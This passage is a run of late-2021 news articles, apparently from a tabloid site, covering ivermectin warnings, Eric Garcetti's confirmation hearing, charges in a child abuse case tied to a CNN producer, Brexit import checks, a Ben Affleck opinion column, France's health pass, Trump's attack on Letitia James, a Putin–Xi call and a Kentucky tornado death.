shame.' She added: 'I waited for the stupid court order, a nine-day delay from the date I picked up the script in Paoli. Then, UPMC played nasty, vile, wicked games for two days and delayed further.' Several hospitals nationwide have been hit with lawsuits demanding they treat COVID patients with Ivermectin. The drug can be used in small doses to treat parasitic worm infections in humans, like head lice and scabies, but in the US is more widely used to combat roundworms and other parasites in livestock. Conservatives including former President Donald Trump, Senator Ron Johnson and Tucker Carlson have promoted its use to treat coronavirus, despite doctors saying it has no capacity to treat viruses such as COVID. Both the Centers for Disease Control and Prevention (CDC) and Food and Drug Administration (FDA) have repeatedly warned Americans against using it to treat COVID. 'Ivermectin has not been authorized or approved for use in preventing or treating COVID-19 in humans or animals,' the FDA released in a statement earlier this year. 'Ivermectin is approved for human use to treat infections caused by some parasitic worms and head lice and skin conditions like rosacea.' 'Adverse effects associated with ivermectin misuse and overdose are increasing, as shown by a rise in calls to poison control centers reporting overdoses and more people experiencing adverse effects,' the CDC echoed. However, despite these warnings, Ivermectin has become popularly used by many to treat the virus, and was prescribed 88,000 times in one week, a 24-fold increase over a typical pre-pandemic week, according to the CDC. The FDA has repeatedly urged people not to use the drug against the coronavirus. 'You can also overdose on ivermectin, which can cause nausea, vomiting, diarrhea, hypotension (low blood pressure), allergic reactions (itching and hives), dizziness, ataxia (problems with balance), seizures, coma and even death,' the FDA warned. Calls to U.S. poison control centers about Ivermectin exposures have increased five-fold from before the pandemic, with a drastic rise in July, according to the CDC. The doctor halted use of Ivermectin (pictured) - which the FDA, CDC and WHO have warned against using to treat COVID - when Smith's condition worsened. He died seven days later Additionally, there was a significant spike in over-the-counter prescriptions of ivermectin outside of its narrow recommended use - commonly in 'veterinary formulations' more suited to livestock, like horses. Some who can not get a prescription are resorting to using versions of the drugs made for animals. Health experts, including those at the World Health Organization (WHO) which previously advised against the use of the Ivermectin and the malaria drug hydroxychloroquine to treat COVID, continue to research proposed coronavirus treatments and offer recommendations regarding their use. For example, last week WHO advised against using blood plasma from people who have recovered from COVID-19 as a treatment for patients with the illness, saying evidence has not shown the costly, time-consuming transfusions to be effective in preventing severe illness or death. The health entity, however, has previously recommended use of some steroids for patients with severe or critical cases of COVID. Los Angeles Mayor Eric Garcetti told U.S. senators considering his nomination to be ambassador to India that he never witnessed a former top adviser sexually harass one of his police bodyguards, allegations that are at the center of a lawsuit filed against his administration. The Democratic mayor's statement Tuesday came during questioning from members of the Senate Foreign Relations Committee, which held a hearing in Washington to consider Garcetti's nomination. Garcetti was nominated for one of the country's highest profile diplomatic posts in July by President Joe Biden. Democratic Sen. Jeanne Shaheen of New Hampshire told Garcetti she was concerned about accusations against former political adviser and confidant Rick Jacobs, which include claims that the mayor 'did not respond to those allegations in a way that would have stopped the behavior.' She noted that women's rights and sexual harassment remain priority issues in India, the world's largest democracy. 'I think it's very important that we model the behavior that we want to see in our allies,' she told Garcetti. The mayor, addressing the Jacobs' case, said: 'I never witnessed, nor was it brought to my attention, the behavior that's been alleged. ... If it had been, I would have immediately taken action to stop that.' Los Angeles Mayor Eric Garcetti told U.S. senators considering his nomination to be ambassador to India that he never witnessed a former top adviser sexually harass one of his police bodyguards President Joe Biden announced that he had selected Eric Garcetti to serve as U.S. ambassador to India in July. Garcetti endorsed Biden's run for president in January 2020, before the Democratic primaries started If confirmed, he said combatting sexual harassment and assault would be core issues for him. The mayor said 'persistent action' was needed to support and protect victims. He emphasized that as mayor, he established policies to centralize complaints and permit victims to submit reports of alleged abuse anonymously. 'Harassment and discrimination have no place in the workplace, no place in our society. I have zero tolerance for that. And I also know that words are not enough,' he said. Shaheen then said, 'I look forward to your strong stance when you are confirmed.' The exchange stood out in what was largely a drama-free hearing for the two-term mayor. Garcetti promised to strengthen America's ties to India, including working on defense issues, climate change, open markets and the coronavirus. Garcetti was a strong Biden supporter during the 2020 presidential campaign and was named co-chair for the incoming presidents inauguration last January. He nomination for the ambassadorship comes as he is wrapping up a turbulent two terms, framed by the pandemic and a homeless crisis that has seen encampments spread into virtually every corner of the city. California Democratic Sen. Alex Padilla alluded to 'challenges' faced by Garcetti during his time leading the nations second-most-populous city, but those issues never came into play during the hearing. The lawsuit against the city charges that Jacobs frequently sexually harassed one of the mayors police bodyguards while Garcetti ignored it or laughed it off. The mayor has repeatedly denied the claims. Garcetti needs a majority vote to be confirmed in the evenly divided Senate, which is controlled by Democrats because Vice President Kamala Harris has the authority to break tie votes. Harris is a former California U.S. senator who is close friends with Garcetti. Garcetti was one of three nominees who appeared before the Foreign Relations Committee during a lightly attended hearing. The others were University of Pennsylvania President Amy Gutmann, Biden's pick to serve as ambassador to Germany, and career diplomat Donald Armin Blome, the president's selection for ambassador to Pakistan. Gutmann faced sharp questioning from the committee's ranking Republican, Idaho Sen. James Risch, who said federal data shows the university received $86 million in donations and contracts from sources in China since 2014. 'Chinese influence is a problem all over the world,' Risch said. 'I was shocked at this number of $86 million, flowing into your institution,' he added, saying he was surprised to find out she was not more familiar with the gifts. Gutmann responded that the school and its hospitals raised over $5 billion during that time, so the amount from China represents a tiny fraction. 'It's not surprising that I don't know of specific gifts and contracts,' she said, given the size and volume of the contributions. She added that no gifts are allowed to threaten academic freedom or national security. This is the Nevada woman accused of flying a nine year-old girl across the country so a CNN producer could allegedly sexually abuse the youngster while she joined in. Police in Henderson, Nevada, arrested 48-year-old Heather Carriker in August 2020 on two counts of child abuse, two counts of sexual assault against a child under 14 and one count of lewdness with a minor under 14, according to 8NewsNow. Her mugshot was obtained by the network on Wednesday, days after CNN producer John Griffin, 44, was named as the suspected pedophile she is accused of supplying a child victim to. Between June and July 2020, Griffin, of Stamford, Connecticut, allegedly transferred $3,350 to Carriker to fly with a child from Nevada to Boston. According to court documents, after landing at Boston Logan International Airport in July 2020, Carriker and the nine-year-old girl were picked up by Griffin in his red Tesla and driven to his ski cabin in Ludlow, Vermont, more than 140 miles away. Heather Carriker, 48 (left), from Nevada, has been charged with child abuse, sexual assault against a child under 14 and lewdness with a minor under 14 in a case involving fired CNN producer and accused pedophile John Griffin (right) 'At the house, [the child] was directed to engage in, and did engage in, unlawful sexual activity,' federal prosecutors said in the news release. Carriker also allegedly said that she had brought along several sex toys and used them with Griffin, with the child also participating in the adult activities, reported VTDigger.com. Henderson police stated that they launched an investigation into Carriker last year, after a witness found text messages and photos on the woman's cellphone that raised concerns, reported Las Vegas Review-Journal. The criminal investigation reportedly has uncovered that Carriker and Griffin engaged in BDSM, and that the nine-year-old child was forced to take part in the sexual activity. Carriker initially denied any wrongdoing, but she later admitted that the nine-year-old photographed her 'to document the progress of bruising [Carriker] received during consensual play with her boyfriend.' She is due back in court December 22. Carriker is accused of transporting a nine-year-old girl to Griffin's ski cabin in Ludlow, Vermont (pictured), for sex in July 2020 in exchange for more than $3,000 Griffin, 44, a former producer at Cuomo Prime Time (pictured with Chris Cuomo) was fired by CNN after being indicted last week by a federal grand jury for alleged sex crimes with girls Carriker allegedly told police in Nevada that she had the nine-year-old photograph her BDSM sex with Griffin at his Vermont home (pictured) A federal grand jury in Vermont in Friday indicting Griffin with three counts of using a facility of interstate commerce to attempt to entice minors to engage in unlawful sexual activity. According to that earlier indictment, from April to July of 2020, Griffin, who had worked at CNN for nearly eight years, used the messaging apps Kik and Google Hangouts to communicate with people purporting to be parents of young daughters, telling them, among other things, that a 'woman is a woman regardless of her age,' that women are 'the dirtiest sluts possible,' and that they should be sexually subservient and inferior to men. Federal prosecutors stated that Griffin sought to convince parents to allow him to train their daughters to be sexually submissive. Federal prosecutors alleged that Griffin (right, with Cuomo) engaged in unlawful sexual activity with the nine-year-old at his ski cabin CNN initially suspended Griffin while awaiting the conclusion of the investigation but the network has since terminated him. 'The charges against Mr. Griffin are deeply disturbing. We learned of his arrest Friday afternoon and terminated his employment Monday,' a CNN spokesperson said in a statement. The federal indictment alleged that Griffin once bragged about how he 'sexually trained girls as young as 7 years old' and recommended a mother's 14-year-old daughter, after describing how she 'would be a good candidate for such training.' He allegedly offered virtual training, where he 'planned to instruct the 14-year-old and her mother to remove their clothing and touch each other' on webcam. He also told them about how in-person sessions would include 'spanking' and 'c**k worship.' Federal prosecutors say Griffin used messaging apps to convince parents to let him 'train' their daughters to be sexually submissive According to the indictment, Griffin also 'attempted to entice two other children over the internet to engage in sexual activity'. In another unrelated encounter in June 2020, Griffin 'proposed to a purported mother of a 16-year-old daughter that she take a 'little mother-daughter trip' to Griffin's Ludlow ski house for sexual training involving the child.' Griffin is the son of longtime William Morris agent Jim Griffin, who represented Regis Philbin, Geraldo Rivera, Fred Thompson and other boldface names. He left the agency in 2009 for Paradigm, before it merged with Endeavor. However, back in the day, one of Jim Griffin's clients was a young Chris Cuomo. Jim's son, John, joined Cuomo on CNN's 'New Day' from the show's birth in 2013 and stuck with the recently-axed anchor until the launch of Cuomo Prime Time in 2018. Griffin's LinkedIn page hasn't been updated since the producer's termination by CNN. But, it states that Griffin and Cuomo worked 'shoulder-to-shoulder' on each show, 'producing live breaking news across the country and around the world.' Cuomo had previously worked with Griffin at ABC News between 2005 and 2013. Cuomo was fired earlier this month for helping his brother, former New York Gov. Andrew Cuomo, as the politician faced sexual harassment allegations. Griffin is facing a mandatory minimum sentence of 10 years in prison and could be handed a maximum sentence of life imprisonment for each count, according to the Department of Justice. The Government is to delay new controls on goods moving from the island of Ireland to Great Britain while negotiations with Brussels on the Northern Ireland Protocol continue. The checks on incoming goods from the European Union - covering mainly food and agricultural products - are due to come into force on January 1, bringing post-Brexit customs arrangements with the bloc in line with those with the rest of world. However, Brexit Minister Lord Frost said the existing arrangements would continue on a temporary basis for goods crossing the Irish Sea for as long as the discussions on the protocol are ongoing. 'The Government believes that this pragmatic act of good will can help to maintain space for continued negotiations on the protocol,' Lord Frost said in a written ministerial statement. 'It also ensures that traders in both Ireland and Northern Ireland are not faced with further uncertainty while the protocol arrangements themselves are still under discussion.' Brexit Minister Lord Frost said the existing arrangements would continue on a temporary basis for goods crossing the Irish Sea for as long as the discussions on the protocol are ongoing. Leo Varadkar, Ireland's deputy prime minister, welcomed the delay as good news for Irish exporters and farmers. The Government is seeking major changes to the protocol - which covers the movement of goods from Great Britain to North Ireland - arguing the checks required are damaging business and fuelling community tensions. Britain left the EU's single market at the beginning of 2021 but has twice delayed implementation of some post-Brexit import controls. Full customs declarations and controls are due to come into force from Jan. 1. But Britain and the EU are still locked in talks to resolve difficulties with trading arrangements, known as the Northern Ireland Protocol, for the British province that shares a land border with EU member Ireland. Leo Varadkar, Ireland's deputy prime minister, welcomed the delay as good news for Irish exporters and farmers. But Jeffrey Donaldson, leader of Northern Ireland's largest pro-British party, the Democratic Unionist Party, said the situation was unfair. He said some checks were being imposed on goods going from Britain to Northern Ireland, harming British businesses, but the door had been left open for companies in the Republic of Ireland. "Time to sort the Irish Sea Border between GB & NI," he said on Twitter. 'When his sun shines on you, you feel it,' Jennifer Garner told Vanity Fair about her husband Ben Affleck in 2016, a year after they split. 'But when the sun is shining elsewhere, it's cold. He can cast quite a shadow.' I imagine that shadow feels particularly large and Siberia-level freezing today following Affleck's astonishingly insensitive interview yesterday with Howard Stern. It must have been hard enough for Garner, an intelligent, beautiful and hugely talented woman, to have to endure her ex so publicly parading around with Jennifer Lopez in ever more cringe-making PDAs since they rekindled their romance. But when you consider the fact that Affleck was engaged to J-Lo right before he got together with, and then swiftly married Garner, then you can probably double the level of hurt she must feel having her nose now so brutally rubbed in it by the father of her three children. Ironically, 'Bennifer' as they were dubbed at the time, blamed the last-minute break-off of their engagement in 2003, just days before the wedding, on 'excessive media attention.' Now they can't enough of it slobbering over each like love-sick puppies whenever there's a camera within range. What the hell was Ben Affleck thinking when he sat down with Howard Stern and decided to humiliate Jennifer Garner in the unkindest possible manner?(Above: Affleck received an alcohol delivery to his house shortly before he was admitted to rehab in 2018) In a self-indulgent orgy of deeply personal revelation from the man who supposedly hates media attention, Affleck effectively blamed his ex-wife for the alcoholism he experienced during their marriage. (Above: Affleck looked worn out while leaving a Halloween party with ex-wife Jennifer Garner and their three children in 2019) Of course, that's entirely their prerogative and if they're wildly in love and want to brazenly show it off to the world, then good luck to them. But what's not acceptable is what Affleck did to his ex-wife on Stern's show. There's one basic rule of any marriage break-up where kids are involved and it's this: don't trash their mum or dad in public. Whatever's gone down in a shattered relationship, it's hardly ever the fault of innocent children caught in the crossfire, and it's their welfare that should always be the top priority. I say this as someone who's been through a divorce myself and who has never said a bad word in public about my ex, and never will. Partly out of respect for her we've remained good friends, and she's never dissed me in public either and partly because I never want our three sons to hear me talk badly about their mother. This is particularly important when either or both parties have a public profile and the gory details of any divorce battle may get splattered across newspaper front pages or TV celebrity news shows, because once they're in the public domain and many things said in divorce litigation are wildly exaggerated or even plain untrue - there's a 100% guarantee that your kids will one day read it all and inevitably suffer added upset and damage. So, what the hell was Ben Affleck thinking when he sat down with Howard Stern and decided to humiliate Jennifer Garner in the unkindest possible manner? In a self-indulgent orgy of deeply personal revelation from the man who supposedly hates media attention, Affleck effectively blamed his ex-wife for the alcoholism he experienced during their marriage. When you consider the fact that Affleck was engaged to J-Lo right before he got together with, and then swiftly married Garner, then you can probably double the level of hurt she must feel having her nose now so brutally rubbed in it by the father of her three children. (Left) Garner and Affleck arrived at the Oscars in Hollywood, California in 2013 (Right) Affleck and Jennifer Lopez appeared at 'The Last Duel' premiere at the 78th Venice International Film Festival in 2021 Asked by Stern what would have happened if they'd stayed together, he replied: 'We probably would've ended up at each other's throats. I probably still would've been drinking. Part of why I started drinking was because I was trapped. I was like, 'I can't leave because of my kids, but I'm not happy, what do I do?' And what I did was [I] drank a bottle of scotch and fell asleep on the couch, which turned out not to be the solution.' Really, Ben? That's why you got blind drunk every night? It was all Jennifer's fault for trapping you? This excuse might have carried marginally more credence if Affleck hadn't been a notorious hell-raising drinker for many years before he ever met Garner. He's previously blamed a youthful drink problem on his alcoholic father, and first gave up alcohol when he was 24, explaining: 'I just wanted to stop. I started regretting some things I did when I was drunk. It's funny to be obnoxious or out of control, but then it's like, 'I think I hurt that person's feelings,' 'I made a fool of myself,' or 'I didn't want to kiss that girl,'. I have almost no inhibitions, so it's dangerous for me.' Then, in 2001, aged 29, after falling off the wagon in spectacular fashion, he went into rehab for 30 days at Promises treatment center in Malibu after being driven there by his equally hard-partying friend, Charlie Sheen. When he came out, his publicist said: 'Ben is a self-aware and smart man who has decided that a fuller life awaits him without alcohol. He is committed to traveling to a healthier road with the support of his family friends and fans.' Affleck himself later told Hollywood Reporter: 'I went to rehab for being 29 and partying too much and not having a lot of boundaries and to clear my head and try to get some idea of who I wanted to be. It was more a 'let me get myself straight,' before it became a rite of passage.' He's previously blamed a youthful drink problem on his alcoholic father, and first gave up alcohol when he was 24. (Above: Affleck stops at fast food restaurant appearing dazed as his ex Jennifer Garner takes him to rehab in Malibu on August 22, 2018) This excuse might have carried marginally more credence if Affleck hadn't been a notorious hell-raising drinker for many years before he ever met Garner. (Above: Affleck is seen with a drink in front of him as he talked to Bruce Willis in 2000) Laudable words, but sadly it did become a rite of passage. In 2017, Affleck went back into rehab and on coming out, he said in a Facebook post: 'I have completed treatment for alcohol addiction; something I've dealt with in the past and will continue to confront. I want to live life to the fullest and be the best father I can be. I want my kids to know there is no shame in getting help when you need it, and to be a source of strength for anyone out there who needs help but is afraid to take the first step. I'm lucky to have the love of my family and friends, including my co-parent, Jen, who has supported me and cared for our kids as I've done the work I set out to do. This was the first of many steps being taken towards a positive recovery.' More laudable words, especially about the wife who so loyally backed him, even though they'd split up. But a year later, he was back in rehab again, driven there this time by Jennifer Garner who was reported to be 'very emotional and distraught.' In February 2020, Affleck told the New York Times: 'One of the things about recovery that I think people sometimes overlook is the fact that it inculcates certain values. Be honest. Be accountable. Help other people. Apologize when you're wrong.' Hmmm. Again, this all sounds very laudable, but it turned out, like so much of Affleck's alcohol-related psychobabble over the years, to be just words. He wasn't 'honest' with Howard Stern. Or truly 'accountable.' Nor did he take the chance to apologize to his ex-wife for all the pain he caused her with his constant selfish boozing. Instead, Ben Affleck did what he's done throughout his life he blamed someone else for his own behavior. And in blaming Jennifer Garner, he ensured their kids will now read lurid headlines that suggest this may have been the real reason why he was such a stinking deadbeat drunken husband and father for so long. The truth is that Affleck had a massive drink problem before he met their mum, while he was with her, and after he left her. To now suggest that being 'trapped' with the mother of his kids is why he drowned himself in whiskey every night is as disingenuous as it's cruelly unfair to a woman who's done everything she can to help and protect him. Even by Hollywood standards, this is astonishingly selfish and self-centered conduct, but hardly surprising from a supremely narcissistic 49-year-old man who recently inked a ludicrous gigantic tattoo of a rising phoenix all over his back in a clear sign that he's having a pitiful mid-life crisis. It's also a sign that Ben Affleck's had one great love of his life and it's neither of the Jennifers It's himself. Over-65s in France without Covid-19 booster jabs will lose their 'health pass' under new rules being implemented from today. The pass was introduced in the summer and makes full vaccination against Covid-19, a recent recovery or negative test obligatory for visiting any restaurant or cafe, inter-city train travel and going to cultural venues like cinemas or museums. The change in rules comes as the country begins implementing a new tightening of restrictions in the fight against the virus, which like many countries in Europe has seen a recent resurgence due to the spread of the Omicron variant. Over-65s in France without Covid-19 booster jabs will lose their 'health pass' under new rules being implemented from today. Pictured: Security personnel check a COVID-19 health pass to access a Christmas market in Strasbourg, eastern France, December 3, 2021 [file photo] Championed by President Emmanuel Macron as he eyes re-election in 2022, the health pass is widely seen as being a success, despite initial protests, by encouraging people who were hesitant to become vaccinated. The government says some 400,000 people aged 65 and over who are eligible for the booster shot have yet to take it, which is 12 percent of those aged 80 and above and 10 percent of those aged 65 to 79. People in the 65 plus age group who have failed to take up the booster shot will see the QR code in their health pass generated by a mobile phone app automatically dis-activated. The rule, which further tightens one of the tightest health pass systems in Europe, will from January 15 be expanded across all age groups. The only option for people without a booster - other than to get one - will be to have a negative test a maximum of 24 hours old. France has already carried out almost 16 million booster shots and is confident of reaching its target of 20 million before Christmas. Championed by President Emmanuel Macron (pictured on Wednesday in Brussels) as he eyes re-election in 2022, the health pass is widely seen as being a success, despite initial protests, by encouraging people who were hesitant to become vaccinated France reported on Tuesday over 63,400 positive Covid tests, the highest figure since April, while almost 2,800 people are in intensive care with the illness. Pictured: A graph showing the seven-day rolling average of new Covid-19 cases in France Pictured: A graph showing the seven-day rolling average of new coronavirus deaths in France The booster is now seen as a key weapon in defeating the Omicron variant which experts believe spreads faster than previous Covid variants and could become dominant in Europe in the next few weeks. France reported on Tuesday over 63,400 positive Covid tests, the highest figure since April, while almost 2,800 people are in intensive care with the illness. Over 76 percent of people have been double vaccinated in France and children deemed at risk can be jabbed from Wednesday, with vaccinations soon also expected to fully opened to the very young. Meanwhile, Greece, Italy and a handful of other European Union nations began vaccinating children aged five to 11 against COVID-19 on Wednesday as EU governments braced both for a holiday season of gatherings. Acrobats dressed as superheroes rappelled down the walls of a hospital in Milan, Italy, as the city prepared to join the new vaccine rollout. Wearing capes and bodysuits, they stopped to greet patients through the windows at a pandemic ward and other children at a pediatric wing. Pictured: A woman scans the compulsory health pass of a customer, to fight the coronavirus disease (COVID-19) pandemic, at a Christmas market in Colmar, France, December 14, 2021 Youngsters getting their first shot in Greece were given stickers and the day off from school. Greece administered its first shots to younger children hours after authorities announced the country's highest daily death toll of the pandemic: 130 people. Dr. Franco Locatelli, the head of Italy's Superior Health Council who guided the country through the first wave of the pandemic, urged Italian families to take part in the new vaccine program, hoping to boost the country's already high vaccination rate amid a new spike in infections. 'Consider this an appeal to all families,' Locatelli said. 'Take advantage of this opportunity. Talk to your pediatrician. Vaccinate your children. Do it for them. 'Show them how much you love your children by giving them the maximum protection possible,' he said. Spain and Hungary also expanded their vaccination programs to younger children. EU regulators last month approved a reduced-dose vaccine made by Pfizer-BioNTech for use in the 5-11 age group. A two-month surge in infections across Europe eased slightly in early December, but the appearance of the omicron variant has created uncertainty. According to an analysis Tuesday of data from South Africa, where omicron is driving a surge in infections, the variant seems to be more easily spread from person to person and better at evading vaccines, but also milder. Acrobatic superheroes greet the children hospitalised in the paediatric ward of the San Paolo hospital in Milan, Italy, December 15, 2021 to encourage booster jabs Germany and Spain are among the European nations to start vaccinating younger children from Wednesday in a bid to keep schools open. Pictured: 11-year-old Sarah Carlsen receives a vaccination against the coronavirus on November 28, 2021 in Amagar, Denmark Pictured: A graph showing the seven-day average daily new confirmed Covid-19 cases per million people in Germany, Spain, Greece, Hungary, Austria, Denmark and the UK. The six EU countries shown are starting to roll out vaccines for five to 11-year-olds A top EU official said Wednesday that the bloc expects omicron to dominate infections in the EU by mid-January. The European Center for Disease Prevention and Control suggested that governments consider travel-related restrictions and press ahead with vaccination campaigns and booster shots. Vaccines for children are voluntary in all EU countries and require parental approval. Some EU nations are taking a more cautious approach to vaccinating younger children. Germany has started a region-based rollout, the Netherlands is waiting until after the holidays and France is prioritizing children who suffer from heart and respiratory problems, obesity, and diabetes. Britain was slower than many European countries to start vaccinating children ages 12-15, and it has not yet approved vaccines for younger children. Wei Shen Lim, a member of the U.K.'s Joint Committee on Vaccination and Immunization, said the group expected to make a decision before Christmas but was awaiting a recommendation from British regulators. Conservative lawmaker Jeremy Hunt, a former health minister, criticized the delay on approving vaccines for younger children. 'Our regulators, having been the nimblest in the world, are now taking too long,' he said. Donald Trump accused New York attorney general Letitia James of 'prosecutorial misconduct' in her investigation into his organization and said that she had dropped out of a run for governor due to 'abysmal' poll numbers. 'Letitia James wants to politically weaponize her position as Attorney General instead of exemplifying impartiality and protecting the interests of all New Yorkers,' the former president and ex-New Yorker said in a statement Wednesday. James wants Trump to testify in person as part of her investigation into potential tax and financial fraud inside the Trump Organization, The Washington Post reported last week. She also suspended her campaign for governor last week, saying she would focus on the investigations her office is pursuing. 'I have come to the conclusion that I must continue my work as attorney general. There are a number of important investigations and cases that are underway, and I intend to finish the job,' James wrote on Twitter. She will have to run again to keep her seat come November. James is seeking a deposition from Trump on January 7 at her office in New York amid the probe into potential fraud at the company. 'Letitia James wants to politically weaponize her position as Attorney General instead of exemplifying impartiality and protecting the interests of all New Yorkers,' the former president and ex-New Yorker said in a statement Wednesday James wants Trump to testify in person as part of her investigation into potential tax and financial fraud inside the Trump Organization, The Washington Post reported last week Trump, pulling no punches, went after James' brief run. 'While she pretends that she suspended her short-lived campaign for New York Governor to go after me, she conveniently fails to mention that she couldnt garner any support and her poll numbers were abysmalshe had no chance of even coming close to winning,' Trump claimed in the statement. 'Despite weeks of campaigning, she was losing to Governor Hochul by what would have been a massive landslide. She didnt drop out of the race for a higher purpose, or to finish existing business (I wonder what that would be?). She dropped out because her campaign was a complete failure, possibly because the citizens of New York saw how unfairly and viciously she and other highly partisan New York Democrat prosecutors were treating President Donald J. Trump. Its called Prosecutorial Misconduct,' he continued. James is seeking the deposition in the long running investigation into the financial practices of the former president's company including whether the Trump Organization pumped up valuations of its assets when seeking financing, then low-balled values when communicating with tax authorities. His son Eric Trump, a Trump Organization executive, testified previously in the probe, after his lawyers initially put up resistance. 'Rather than continue to waste her time and taxpayer resources on a long continuing Witch Hunt against the Republican Party and me, she should focus her attention on helping to resurrect the once Great State of New York where crime and poverty continue to wreak havoc, with murder, rape, drug sales, and just about every other form of crime at record levels, and now with a just-announced highest unemployment rate in the Nation,' Trump continued. 'New York is dying before our very eyes, and all the Democrat Prosecutors are focused on is how we can get and punish Donald Trump.' James had announced her candidacy for governor in late October, months after she filed the sex pest report that led former Gov. Andrew Cuomo to resign. James, the first woman elected as the state's attorney general and first black person to serve in the role, was the leading candidate challenging current Hochul, but she was still falling behind. A Siena College Research Institute survey released earlier this week showed James trailing behind Hochul, who enjoyed 36 per cent backing by Democratic voters while James only held 18 per cent. Fellow challengers Jumaane Williams held 10 per cent of voters, and US Rep. Tom Suozzi and out-going New York City Mayor Bill De Blasio held 6 per cent each. Sources told the New York Post that James 'saw the writing on the wall' after learning that the Brooklyn Democratic party would be backing incumbent Gov. Kathy Hochul because James could not boost her fundraising efforts. James is looking at whether fraud 'permeated the Trump Organization.' Trump himself has testified in numerous lawsuits over his career and in October provided a four and a half hour deposition in connection with a lawsuit brought by protesters who claim they were roughed up by Trump's security outside Trump Tower in Manhattan in 2015. Trump was dismissive of the probe, even after finally appearing in a suit that outlasted his presidential term. 'After years of litigation, I was pleased to have had the opportunity to tell my side of this ridiculous story,' Trump said. Trump has repeatedly attacked the probe as a 'witch hunt.' He has not been accused of wrongdoing in the investigation of his company. Prosecutors have convened a second grand jury in the ongoing probe. The Trump Organization's longtime Chief Financial Officer, Allen Weisselberg, was indicted in September by federal prosecutors in Manhattan. The government charges Weisselberg evaded nearly $2 million in taxes, in part by taking luxury perks. Weisselberg has pleaded not guilty. The Trump Organization also was indicted. The New York case is just one of many legal challenges Trump is facing. Prosecutors in Georgia have undertaken a criminal investigation of his election overturn efforts in the state. Trump settled a defamation case last month with accuser Sumner Zervos without paying compensation. Last week, a three-judge federal appeals court panel heard a case regarding a defamation suit by rape accuser E. Jean Carroll. Prosecutors are reportedly investigating properties including the Trump Organization's Seven Springs in upstate New York. Trump bought it for $7.5 million in 1996, but company valuations for it have ranged from $56 million to $291 million in 2012. Former Trump Organization lawyer Michael Cohen testified to Congress in 2019 about the alleged practice of inflating values of Trump assets when seeking financing from lenders. He has said he met with prosecutors multiple times. Vladimir Putin and Xi Jinping have vowed to 'safeguard both sides' security and interests' as the pair hailed their friendship amid increasing tensions with 'international forces'. The world leaders held a phone call amid increasing criticism from the West, just days after G7 foreign ministers discussed Moscow's sabre-rattling against Ukraine and Beijing's crackdowns in Hong Kong and Xinjiang. Putin hailed Russia's 'model' relations with China and confirmed he would attend the Beijing Winter Olympics. The Kremlin said after the call: 'Both stated that the relationship had reached an unprecedented high level.' 'In February we will finally be able to meet in person in Beijing,' Putin said in a television broadcast of the conversation, calling Xi his 'dear friend'. Vladimir Putin (pictured during the call) and Xi Jinping have vowed to 'safeguard both sides' security and interests' as the pair hailed their friendship The United States, Britain, Canada and Australia are not sending political representatives to the Olympics Militants of the self-proclaimed Donetsk People's Republic take part in shooting drills at a range on the outskirts of Donetsk 'China-Russia relations have withstood all kinds of stern tests, and are showing new dynamism and vitality,' Chinese state news agency Xinhua reported Xi as saying. He also accused 'international forces' of meddling in China and Russia in the name of democracy and human rights and 'grossly trampling' on international law, according to a Chinese foreign ministry statement. 'China and Russia must develop more joint actions to more effectively safeguard both sides' security and interests,' the statement added. The United States, Britain, Canada and Australia are not sending political representatives to the Olympics over China's abuse of Uyghurs and other mostly Muslim minorities in Xinjiang. Beijing and Moscow denounced the diplomatic boycott and Putin on Wednesday said both leaders opposed 'any attempt to politicise sport and the Olympic movement', a criticism Russia has repeatedly levelled at the West. Russia was found to have used a state-backed doping programme at the 2014 Winter Games in Sochi and was banned from international competitions afterwards. The talks also came after both Russia and China were pointedly left out of US President Joe Biden's democracy summit last week Russian athletes are allowed to compete as neutrals - without the Russian flag or anthem - if they can prove their doping record is clean. Russian officials including Putin are banned from attending international competitions unless invited by the head of state of the host country. Xi has invited Putin to attend. Both China and Russia have seen their relationship with Western nations deteriorate in recent years and have sought to project a more unified front. On Wednesday, Putin told Xi that 'a new model of cooperation has been formed between our countries' that includes a 'determination to turn our common border into a belt of eternal peace and good-neighbourliness'. 'I consider these relations to be a real model for inter-state cooperation in the 21st century,' the Russian leader said. Russia has staged huge live-firing drills with more than 1,000 tank troops in a region close to the Ukraine border as Russian President Vladimir Putin continues to stoke fears that Moscow will invade Kiev After the call, the Kremlin's top foreign policy adviser Yury Ushakov said that the conversation between the 'two great friendly states' had lasted 90 minutes and was 'very positive'. The US and its allies have for weeks accused Russia of planning an invasion of its ex-Soviet neighbour Ukraine, warning of massive coordinated sanctions should Putin launch an attack. Tens of thousands of Russian troops are stationed near Ukraine, where the West has accused the Kremlin of backing pro-Moscow separatists since 2014. Russia rejects the allegations and blames the West for stoking tensions. In calls on Tuesday with the leaders of France and Finland, Putin said he wanted security talks with the United States and NATO to begin without delay. Putin told Finnish President Sauli Niinisto that he wanted to 'immediately launch negotiations' in order to 'develop international legal guarantees for the security of the country,' the Kremlin said in a readout of the call. Russia staged ground battle exercises some 30 miles from the frontier, a move which will do nothing to calm fears over his intentions. Video footage and pictures show the drills held by the country's southern military district at Kadamovsky firing range in Rostov region The Kremlin said Russia's demands included stopping NATO from expanding east and the deployment of weapons in neighbouring states, including Ukraine. Putin also accused the Ukrainian leadership of increasingly using 'heavy weapons and attack drones' against pro-Russia rebels in its separatist east. Moscow staged huge live-firing drills with more than 1,000 tank troops in a region close to the Ukraine border as Putin continues to stoke fears Russia will invade its neighbour within weeks. Putin has denied Russia plans to seize territory from Ukraine and has accused Britain and its allies of 'demonising' his country. Video footage and pictures show the drills held by the country's southern military district at Kadamovsky firing range in Rostov region But the Kremlin strongman is now looking for China's support in Europe and will discuss 'cooperation priorities' of the future. It comes as new footage showed Russia staging ground battle exercises some 30 miles from the frontier, a move that will do nothing to calm fears over Putin's intentions. The video shows drills held by the country's southern military district at Kadamovsky firing range in Rostov region. On Monday, British Prime Minister Boris Johnson warned Putin in a phone call of his 'deep concern' about the Russian military build-up close to Ukraine, and that 'serious consequences' will follow in the event of invasion. US intelligence officials estimate that as many as 175,000 Russian troops could launch an attack early next year, with troops, tanks and artillery already massing on the Ukrainian border. Advertisement Jha'lil Dunbar, 3, died as he took shelter in his mother's arms when a twister struck their Mayfield, Kentucky home on Saturday A heartbroken Kentucky mother is mourning after her three-year-old son died in her arms when a tornado obliterated their Mayfield home on Saturday, pinning the family under the rubble. Huda Alubahi said she took shelter in a closet with her sons, Jha'lil Dunbar, 3, and Julius Dunbar, 1, when the warning sirens rang. She held both boys in her arms as she remained trapped under the destruction, either a bathroom sink or toilet, she said. 'I never saw my three-year-old because my face couldn't turn that way,' Alubahi told CBS. 'I did see the baby, and he cried, and then he just stopped. So at that time, I thought he was gone. But he wasn't.' Julius' screams led rescuers to their location and the family was taken to the hospital where her sons' father, William 